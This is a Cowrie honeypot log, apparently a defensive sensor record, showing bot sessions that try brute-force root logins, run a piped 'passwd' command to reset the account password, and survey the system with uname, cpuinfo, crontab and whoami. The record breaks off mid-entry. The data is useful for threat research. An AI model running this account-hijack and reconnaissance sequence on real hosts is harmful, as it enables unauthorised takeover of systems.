{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:40.332869Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:40.631470Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\nlL530kPqA4O5\\nlL530kPqA4O5\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\nlL530kPqA4O5\\nlL530kPqA4O5\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:40.635143Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:40.639138Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:40.643178Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6b144f74c3901651a6f1a2481f587ca48bb616ce41896c2ac9926ee95e24a998","size":32,"shasum":"6b144f74c3901651a6f1a2481f587ca48bb616ce41896c2ac9926ee95e24a998","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/6b144f74c3901651a6f1a2481f587ca48bb616ce41896c2ac9926ee95e24a998 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:41.144681Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:41.455164Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\nlL530kPqA4O5\\nlL530kPqA4O5\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\nlL530kPqA4O5\\nlL530kPqA4O5\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:41.459182Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6699e056b7b9104e70b96378d8d3d5b8ef50fe92f9ae7a82c86c008ec9746b25","size":25,"shasum":"6699e056b7b9104e70b96378d8d3d5b8ef50fe92f9ae7a82c86c008ec9746b25","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/6699e056b7b9104e70b96378d8d3d5b8ef50fe92f9ae7a82c86c008ec9746b25 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:41.959680Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:42.258583Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:42.262577Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:42.764048Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.070858Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.074968Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.574105Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.878446Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.882765Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:43.886404Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:44.390688Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:44.710923Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:44.715250Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:45.216820Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:45.519418Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:45.524592Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:46.024208Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:46.333173Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:46.336897Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:46.835901Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:47.139916Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:47.143427Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:47.645371Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:47.954673Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:47.958740Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:48.459887Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:48.782723Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:48.786247Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:49.284687Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:49.585786Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:49.588768Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:50.087670Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:50.384794Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:50.388456Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:50.888503Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40538835525513,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:51.113971Z","src_ip":"152.42.224.71","session":"de8bb8d8038c","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:51.221722Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:51.225372Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:51.727880Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:52.029382Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:52.033405Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:52.287933Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:52.293399Z","src_ip":"102.210.148.92","session":"7b625d2d1571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52584,"dst_ip":"10.17.0.5","dst_port":23,"session":"df6e4428688f","protocol":"telnet","message":"New connection: 152.42.224.71:52584 (10.17.0.5:23) [session: df6e4428688f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:53.221413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad37c7bd07ca","protocol":"telnet","message":"New connection: 152.42.224.71:52598 (10.17.0.5:23) [session: ad37c7bd07ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:54.223124Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":54014,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c6de52dce7","protocol":"ssh","message":"New connection: 43.156.28.136:54014 (159.203.135.109:22) [session: d2c6de52dce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:56.819019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:56.824091Z","src_ip":"43.156.28.136","session":"d2c6de52dce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:57.070168Z","src_ip":"43.156.28.136","session":"d2c6de52dce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd!","message":"login attempt [root/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:58.084819Z","src_ip":"43.156.28.136","session":"d2c6de52dce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.734543800354,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:58.503145Z","src_ip":"152.42.224.71","session":"be5e64675100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:59.334401Z","src_ip":"43.156.28.136","session":"d2c6de52dce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec4f1f6cd1d","protocol":"telnet","message":"New connection: 152.42.224.71:41736 (10.17.0.5:23) [session: 2ec4f1f6cd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:01.364334Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":48498,"dst_ip":"10.17.0.5","dst_port":22,"session":"508875d3143a","protocol":"ssh","message":"New connection: 77.94.47.83:48498 (10.17.0.5:22) [session: 508875d3143a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:04.615735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:04.621023Z","src_ip":"77.94.47.83","session":"508875d3143a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 